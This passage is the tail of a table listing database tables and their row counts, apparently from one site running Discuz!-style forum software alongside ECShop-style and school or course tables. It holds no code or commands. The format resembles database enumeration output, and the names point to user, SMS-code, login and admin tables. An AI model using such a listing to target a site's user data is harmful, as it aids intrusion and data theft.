 | pre_forum_attachment                     | 54352   |
 | pre_mobile_sms_code                      | 50012   |
 | pre_forum_indexhot                       | 46624   |
 | pre_common_district                      | 45051   |
 | pre_common_other_infos                   | 44001   |
 | pre_home_favorite                        | 38767   |
 | pre_forum_thread                         | 38044   |
 | ecs_users                                | 35075   |
 | pre_forum_threadmod                      | 25656   |
 | pre_forum_statlog                        | 22828   |
 | pre_common_praise                        | 21519   |
 | pre_common_member_count_archive          | 21248   |
 | pre_common_member_field_forum_archive    | 21248   |
 | pre_common_member_field_home_archive     | 21248   |
 | pre_common_member_status_archive         | 21248   |
 | pre_common_member_profile_archive        | 21247   |
 | pre_common_member_archive                | 21246   |
 | pre_common_onlinetime                    | 19844   |
 | pre_security_evilpost                    | 18848   |
 | pre_common_credit_log                    | 18772   |
 | pre_common_credit_log_field              | 18772   |
 | pre_forum_images_recommend               | 17302   |
 | pre_portal_article_related               | 16792   |
 | pre_forum_huati_isguan                   | 12541   |
 | pre_forum_threadimage                    | 10900   |
 | pre_forum_sofa                           | 6747    |
 | pre_forum_attachment_unused              | 6228    |
 | pre_forum_threadhot                      | 5699    |
 | pre_forum_attachment_6                   | 5640    |
 | pre_forum_attachment_3                   | 5220    |
 | pre_forum_attachment_1                   | 5124    |
 | pre_forum_attachment_2                   | 5107    |
 | pre_forum_attachment_8                   | 5052    |
 | pre_forum_attachment_5                   | 4981    |
 | pre_forum_attachment_4                   | 4941    |
 | pre_forum_attachment_9                   | 4782    |
 | pre_forum_attachment_7                   | 4753    |
 | pre_forum_attachment_0                   | 4684    |
 | pre_forum_modwork                        | 3933    |
 | pre_portal_attachment                    | 3545    |
 | pre_forum_threadcalendar                 | 3137    |
 | pre_common_member_crime                  | 3079    |
 | pre_portal_article_count                 | 3043    |
 | pre_portal_article_content               | 3015    |
 | pre_portal_article_title                 | 2996    |
 | pre_security_eviluser                    | 2959    |
 | pre_forum_huati                          | 2653    |
 | pre_statistic_daylog                     | 2548    |
 | pre_portal_comment                       | 2208    |
 | pre_common_tagitem                       | 2035    |
 | pre_home_pic                             | 1329    |
 | pre_common_credit_rule_log_field         | 1306    |
 | pre_common_block_item                    | 1244    |
 | pre_forum_thread_search_temp             | 1132    |
 | pre_common_tag                           | 1128    |
 | pre_forum_huati_index                    | 1126    |
 | pre_common_member_institution_temp       | 1083    |
 | pre_forum_rsscache                       | 987     |
 | pre_forum_newthread                      | 865     |
 | pre_common_smiley                        | 860     |
 | pre_forum_post_tableid                   | 846     |
 | pre_common_stat                          | 807     |
 | pre_common_member_action_log             | 680     |
 | `backup_国内城市经纬度_不要删`                               | 660     |
 | tb_course                                | 647     |
 | tb_school                                | 583     |
 | pre_common_member_profile_options        | 569     |
 | pre_common_connect_guest                 | 493     |
 | pre_common_setting                       | 447     |
 | pre_common_block                         | 419     |
 | pre_ucenter_feeds                        | 365     |
 | pre_common_seccheck                      | 364     |
 | pre_home_share                           | 359     |
 | pre_common_city                          | 342     |
 | pre_common_school_city                   | 337     |
 | tb_teacher                               | 333     |
 | pre_home_follow_feed_archiver            | 327     |
 | pre_statistic_daylog_login               | 317     |
 | pre_forum_threaddisablepos               | 299     |
 | pre_forum_threadclass                    | 255     |
 | pre_forum_pollvoter                      | 252     |
 | pre_ucenter_notelist                     | 233     |
 | `backup_用户专业领域表_不要删`                               | 231     |
 | pre_connect_memberbindlog                | 187     |
 | pre_common_member_connect                | 180     |
 | pre_common_feedback                      | 172     |
 | pre_home_feed                            | 145     |
 | pre_forum_hotreply_member                | 140     |
 | pre_forum_threadpreview                  | 139     |
 | pre_common_syscache                      | 135     |
 | pre_forum_hotreply_number                | 130     |
 | pre_common_member_institution_coursetype | 122     |
 | pre_forum_polloption                     | 117     |
 | pre_common_block_style                   | 108     |
 | pre_forum_poststick                      | 98      |
 | pre_forum_forumfield                     | 97      |
 | pre_forum_forum                          | 96      |
 | pre_home_friend_request                  | 93      |
 | pre_common_stylevar                      | 90      |
 | pre_common_block_pic                     | 86      |
 | pre_home_friend                          | 74      |
 | pre_common_member_institution_album      | 68      |
 | pre_forum_polloption_image               | 68      |
 | pre_common_admincp_perm                  | 67      |
 | pre_common_nav                           | 62      |
 | pre_common_statuser                      | 58      |
 | pre_common_advertisement_custom          | 54      |
 | pre_common_member_profile_setting        | 51      |
 | pre_home_blacklist                       | 51      |
 | pre_common_member_institution_message    | 50      |
 | pre_mpage_weibo                          | 47      |
 | pre_portal_article_trash                 | 44      |
 | pre_common_advertisement                 | 39      |
 | pre_home_friendlog                       | 39      |
 | pre_common_usergroup_field               | 38      |
 | pre_common_credit_rule                   | 36      |
 | pre_common_optimizer                     | 36      |
 | pre_common_usergroup                     | 36      |
 | pre_common_report                        | 33      |
 | pre_common_school_province               | 31      |
 | pre_forum_moderator                      | 29      |
 | pre_ucenter_settings                     | 27      |
 | pre_common_member_stat_field             | 26      |
 | pre_common_admincp_cmenu                 | 23      |
 | pre_common_word                          | 23      |
 | pre_portal_rsscache                      | 23      |
 | pre_home_album                           | 22      |
 | pre_common_member_institution_photo      | 21      |
 | pre_common_cron                          | 20      |
 | pre_common_cache                         | 17      |
 | pre_dc_mall_address                      | 17      |
 | pre_forum_onlinelist                     | 17      |
 | pre_common_plugin                        | 16      |
 | pre_common_pluginvar                     | 16      |
 | pre_forum_poll                           | 15      |
 | pre_home_click                           | 15      |
 | pre_common_config                        | 13      |
 | pre_home_specialuser                     | 12      |
 | pre_common_diy_data                      | 11      |
 | pre_common_member_institution_report     | 11      |
 | pre_common_searchindex                   | 11      |
 | pre_common_member_institution            | 10      |
 | pre_forum_medal                          | 10      |
 | pre_common_admingroup                    | 9       |
 | pre_common_failedlogin                   | 8       |
 | pre_common_member_institution_cert       | 8       |
 | pre_common_member_institution_type       | 8       |
 | pre_common_member_secwhite               | 8       |
 | pre_home_comment                         | 8       |
 | pre_common_member_institution_age        | 7       |
 | pre_common_member_institution_fans       | 7       |
 | pre_dc_mall_goods                        | 7       |
 | pre_forum_imagetype                      | 7       |
 | pre_common_word_type                     | 6       |
 | pre_forum_typeoption                     | 6       |
 | pre_home_blog                            | 6       |
 | pre_home_blogfield                       | 6       |
 | pre_common_admincp_group                 | 5       |
 | pre_common_member_institution_fans_group | 5       |
 | pre_dc_mall_orders                       | 5       |
 | pre_common_admincp_member                | 4       |
 | pre_common_grouppm                       | 4       |
 | pre_common_member_grouppm                | 4       |
 | pre_connect_postfeedlog                  | 4       |
 | pre_forum_bbcode                         | 4       |
 | pre_home_class                           | 4       |
 | pre_statistic_admin                      | 4       |
 | pre_common_failedip                      | 3       |
 | pre_common_template_block                | 3       |
 | pre_connect_feedlog                      | 3       |
 | pre_forum_access                         | 3       |
 | pre_forum_grouplevel                     | 3       |
 | pre_home_pokearchive                     | 3       |
 | pre_portal_category                      | 3       |
 | pre_common_member_institution_course     | 2       |
 | pre_common_member_institution_video      | 2       |
 | pre_common_style                         | 2       |
 | pre_common_template                      | 2       |
 | pre_forum_forumrecommend                 | 2       |
 | pre_forum_threadtype                     | 2       |
 | pre_forum_warning                        | 2       |
 | pre_home_poke                            | 2       |
 | pre_mobile_setting                       | 2       |
 | pre_statistic_group                      | 2       |
 | pre_ucenter_applications                 | 2       |
 | pre_common_admincp_session               | 1       |
 | pre_common_banned                        | 1       |
 | pre_common_index_module                  | 1       |
 | pre_common_member_institution_bulletin   | 1       |
 | pre_common_member_institution_collection | 1       |
 | pre_common_process                       | 1       |
 | pre_common_secquestion                   | 1       |
 | pre_dc_mall_extend                       | 1       |
 | pre_dc_mall_sort                         | 1       |
 | pre_forum_threadprofile                  | 1       |
 | pre_home_clickuser                       | 1       |
 | pre_ucenter_admins                       | 1       |
 | pre_ucenter_failedlogins                 | 1       |
 +------------------------------------------+---------+